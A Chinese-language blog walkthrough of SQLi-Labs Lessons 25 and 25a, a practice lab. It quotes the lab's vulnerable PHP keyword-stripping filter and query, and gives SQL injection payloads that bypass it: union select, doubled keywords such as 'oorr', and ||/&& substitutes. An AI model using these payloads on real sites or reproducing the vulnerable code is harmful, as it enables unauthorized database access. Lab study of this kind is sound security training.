SQLi Labs Lesson25 & Lesson25a

Lesson - 25

GET - Error based - All your OR & AND belong to us - string single quote


本节的标题是 All your 'OR' and 'AND' belong to us.

查看源代码,发现:

$id= blacklist($id);
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
	
	return $id;
}

blacklist函数将变量$id中的'or' 'and'不区分大小写的替换为空字符串。


但是可以用union

构造 ?id=0' union select 1,database(),user() --+


对于'or' 'and'可以利用blacklist函数,构造出‘or' ’and'

如:

?id ='0' oorr 1=1 --+

结果如图所示:

同理,and可以用 'anandd'


同时'or'还可以用 '||','and'用‘&&'。但是因为'&'为URL 中指定的参数间的分隔符,所以当'&'为参数时要,URLencode,用‘%26'代替。


Lesson - 25a

GET - Blind based - All your OR & AND belong to us - intiger based


本节关闭了错误回显:

$id= blacklist($id);
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/AND/i',"", $id);        //Strip out AND (non case sensitive)
    
    return $id;
}

还是可以利用上面的方法绕过blacklist函数。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值